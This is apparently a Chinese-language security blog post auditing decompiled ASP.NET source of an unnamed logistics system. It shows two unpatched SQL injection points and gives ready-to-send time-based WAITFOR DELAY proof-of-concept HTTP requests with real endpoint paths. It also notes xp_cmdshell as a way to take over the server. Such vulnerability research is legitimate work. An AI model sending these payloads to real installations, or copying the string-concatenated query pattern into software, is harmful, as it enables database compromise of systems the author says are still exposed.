某物流软件存在sql注入漏洞分析
温*柔 发表于 江苏 漏洞分析 828浏览 · 2024-10-18 02:12

概述

某物流系统,之前在网上看到爆出过一些漏洞,于是就找到朋友要到了这套源码,通过审计发现了一些漏洞,由于漏洞暂时未披露状态,关键部分会进行模糊处理,主要是分享一下自己代码审计的过程,希望各位大佬理解。

SQL原理

恶意用户通过构造特殊的SQL查询语句把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。从而可以获取到数据库的相关信息,包括数据库账号密码信息,甚至可上传木马,从而控制服务器。

工具配备

ILSpy visual studio

危险函数

QueryString
ToString()
select
select *

xp_cmdshell概述

我们先来了解一下xp_cmdshell的概念:
xp_cmdshell 是 Microsoft SQL Server 中的一个扩展存储过程,它允许直接在操作系统中执行命令行命令。通过 xp_cmdshell,用户可以执行如文件管理、网络查询、程序调用等命令,这在管理员操作数据库时可能会非常有用。然而,它也带来了一定的安全风险,尤其是在恶意攻击者能够通过 SQL 注入等手段调用该功能时,可能会造成服务器的完全控制。

分析代码架构

那我们现在就定位到物流系统的漏洞源码文件,关键漏洞代码如下:

namespace DSWeb.Shipping
{
    // Token: 0x0200018C RID: 396
    public class CompanysSysDeptGridSource : Page
    {
        // Token: 0x06000F0A RID: 3850 RVA: 0x00094AD0 File Offset: 0x00092CD0
        protected void Page_Load(object sender, EventArgs e)
        {
            if (base.Request.QueryString["read"] != null)
            {
                this.strReadXmlType = base.Request.QueryString["read"].ToString().Trim();
            }
            if (base.Request.QueryString["showcount"] != null)
            {
                this.iShowCount = int.Parse(base.Request.QueryString["showcount"].ToString());
            }
            if (base.Request.QueryString["LINKID"] != null)
            {
                this.strLINKID = base.Request.QueryString["LINKID"].ToString();
            }
            if (this.strReadXmlType.Equals(""))
            {
                base.Response.ContentType = "text/xml";
                base.Response.Write("-2");
                return;
            }
            if (!this.strReadXmlType.Equals("delete") && !this.strReadXmlType.Equals("recover"))
            {
                string cells = this.GetCells(this.iShowCount, this.strReadXmlType);
                base.Response.ContentType = "text/xml";
                cells.Replace("&", "&");
                base.Response.Write(cells);
                return;
            }
            this.strSysDeptGid = base.Request.QueryString["gid"];
            this.strHandle = base.Request.QueryString["read"];
            if (this.strSysDeptGid == null || this.strHandle == null)
            {
                base.Response.Write(-99);
                return;
            }
            string text = this.DoExcute(this.strSysDeptGid, this.strHandle);
            base.Response.Write(text);
        }

        // Token: 0x06000F0B RID: 3851 RVA: 0x00094CA8 File Offset: 0x00092EA8
        private string DoExcute(string tempGid, string tempHandle)
        {
            string text = "";
            SysDeptDA sysDeptDA = new SysDeptDA();
            if (tempHandle == "delete")
            {
                int num = 0;
                if (!tempGid.Trim().Equals(""))
                {
                    SysDeptEntity sysDeptEntity = new SysDeptEntity();
                    sysDeptEntity = sysDeptDA.GetSysDeptByID(tempGid);
                    if (sysDeptEntity.GID != null)
                    {
                        num = sysDeptDA.DeleteSysDeptByGid(sysDeptEntity.GID);
                    }
                    else
                    {
                        num = -3;
                    }
                }
                text = num.ToString();
            }
            if (tempHandle == "recover")
            {
                if (!tempGid.Trim().Equals(""))
                {
                    SysDeptEntity sysDeptEntity2 = new SysDeptEntity();
                    sysDeptEntity2 = sysDeptDA.GetSysDeptByID(tempGid);
                    if (sysDeptEntity2 != null)
                    {
                        StringBuilder stringBuilder = new StringBuilder();
                        stringBuilder.Append(sysDeptEntity2.GID + ",");
                        stringBuilder.Append(sysDeptEntity2.DEPTNO + ",");
                        stringBuilder.Append(sysDeptEntity2.DEPTNAME + ",");
                        stringBuilder.Append(sysDeptEntity2.MANAGE1 + ",");
                        stringBuilder.Append(sysDeptEntity2.MANAGE2 + ",");
                        stringBuilder.Append(sysDeptEntity2.FINANCESOFTCODE + ",");
                        stringBuilder.Append(sysDeptEntity2.REMARK);
                        text = stringBuilder.ToString();
                    }
                    else
                    {
                        text = "-3";
                    }
                }
                else
                {
                    text = "-3";
                }
            }
            return text;
        }

        // Token: 0x06000F0C RID: 3852 RVA: 0x00094E08 File Offset: 0x00093008
        private string GetCells(int iShowCount, string readXmlType)
        {
            new SysDeptEntity();
            SysDeptDA sysDeptDA = new SysDeptDA();
            SysDeptEntity sysDeptEntity = new SysDeptEntity();
            sysDeptEntity = sysDeptDA.GetSysDeptByLINKIDAndType(this.strLINKID);
            if (sysDeptEntity != null && !this.strReadXmlType.Equals("exist"))
            {
                DataTable dataTable = new DataTable();
                string text = " SELECT GID,LINKID,DEPTNO,DEPTNAME,MANAGE1,MANAGE2,FINANCESOFTCODE,REMARK,CREATEUSER,CREATETIME,MODIFIEDUSER,MODIFIEDTIME  FROM sys_dept WHERE LINKID = '" + this.strLINKID + "' ORDER BY DEPTNO ASC";
                dataTable = this.getStatusNameTable(sysDeptDA.GetExcuteSql(text).Tables[0]);
                StringBuilder stringBuilder = new StringBuilder();
                stringBuilder.Append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
                stringBuilder.Append("<rows>");
                int count = dataTable.Rows.Count;
                for (int i = 0; i < count; i++)
                {
                    int count2 = dataTable.Columns.Count;
                    stringBuilder.Append("<row id=\"" + dataTable.Rows[i]["GID"].ToString() + "\">");
                    for (int j = 1; j < count2; j++)
                    {
                        switch (j)
                        {
                        case 2:
                            stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>");
                            break;
                        case 3:
                            stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>");
                            break;
                        case 4:
                            stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>");
                            break;
                        case 5:
                            stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>");
                            break;
                        case 6:
                            stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>");
                            break;
                        case 7:
                            stringBuilder.Append("<cell>" + dataTable.Rows[i][j].ToString() + "</cell>");
                            break;
                        }
                    }
                    stringBuilder.Append("</row>");
                }
                stringBuilder.Append("</rows>");
                return stringBuilder.ToString();
            }
            if (sysDeptEntity != null && this.strReadXmlType.Equals("exist"))
            {
                return "1";
            }
            if (sysDeptEntity == null && this.strReadXmlType.Equals("add"))
            {
                StringBuilder stringBuilder2 = new StringBuilder();
                stringBuilder2.Append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
                stringBuilder2.Append("<rows>");
                stringBuilder2.Append("<row id=\"" + Guid.NewGuid().ToString() + "\">");
                stringBuilder2.Append("<cell></cell>");
                stringBuilder2.Append("<cell></cell>");
                stringBuilder2.Append("<cell></cell>");
                stringBuilder2.Append("<cell></cell>");
                stringBuilder2.Append("<cell></cell>");
                stringBuilder2.Append("<cell></cell>");
                stringBuilder2.Append("</row>");
                stringBuilder2.Append("</rows>");
                return stringBuilder2.ToString();
            }
            return "-3";
        }

在页面加载方法Page_Load中,首先从请求中获取各种参数。如果请求中包含LINKID参数,代码会将其值赋给strLINKID变量。

在GetCells方法中,strLINKID变量未经任何处理直接拼接到 SQL 查询语句中。
这里就是问题代码所在的部分

string text = " SELECT GID,LINKID,DEPTNO,DEPTNAME,MANAGE1,MANAGE2,FINANCESOFTCODE,REMARK,CREATEUSER,CREATETIME,MODIFIEDUSER,MODIFIEDTIME FROM sys_dept WHERE LINKID = '" + this.strLINKID + "' ORDER BY DEPTNO ASC";

strLINKID是从输入获得的,并且没有进行任何处理或验证,那么就可以构造类似
可以将strLINKID设置为' OR 1=1--,这样拼接后的 SQL 语句就变成了

看到这里可以直接构造语句:/xxx/xxxx?read=exist&showcount=10&LINKID=';WAITFOR DELAY '0:0:5'--

构造POC包(漏洞复现)

POC1

GET /Shipping/CompanysSysDeptGridSource.aspx?read=exist&showcount=10&LINKID=%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

第二处sql注入分析

if (base.Request.QueryString["attrid"]!= null)
{
    this.strAttributeID = base.Request.QueryString["attrid"].ToString().Trim();
}

先从请求中获取参数,并赋给相应的变量,这里将请求中的attrid参数的值赋给了strAttributeID变量,从代码逻辑可以清晰看出,strAttributeID的值来源于请求中的attrid参数。

这里直接将strAttributeID拼接到 SQL 查询语句中,没有进行任何输入验证或参数化处理。控制请求中的attrid参数,进而影响到strAttributeID变量,就可以注入恶意的 SQL 代码

string text = "";
if (this.strAttributeID!= null)
{
    text = " AND A.GID = '" + this.strAttributeID + "'";
}
string text2 = string.Format("SELECT A.GID,A.NAME,A.DESCRIPTION,A.DEFAULTVALUE,B.NAME AS TYPENAME,A.TYPEID from attribute as A INNER JOIN attribute_type as B ON A.TYPEID = B.GID WHERE 1 > 0  AND ISNULL(A.ISDELETE,0) <> 1 AND ISNULL(B.ISDELETE,0) <> 1 {0} ORDER BY A.DESCRIPTION ASC", text);
DataTable dataTable = attributeCompanyDA.GetExcuteSql(text2).Tables[0];

构造POC包(漏洞复现)

POC2

GET /FeeCodes/AttributeAdapter.aspx?handle=attrinfo&attrid=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

2 条评论
某人
表情
可输入 255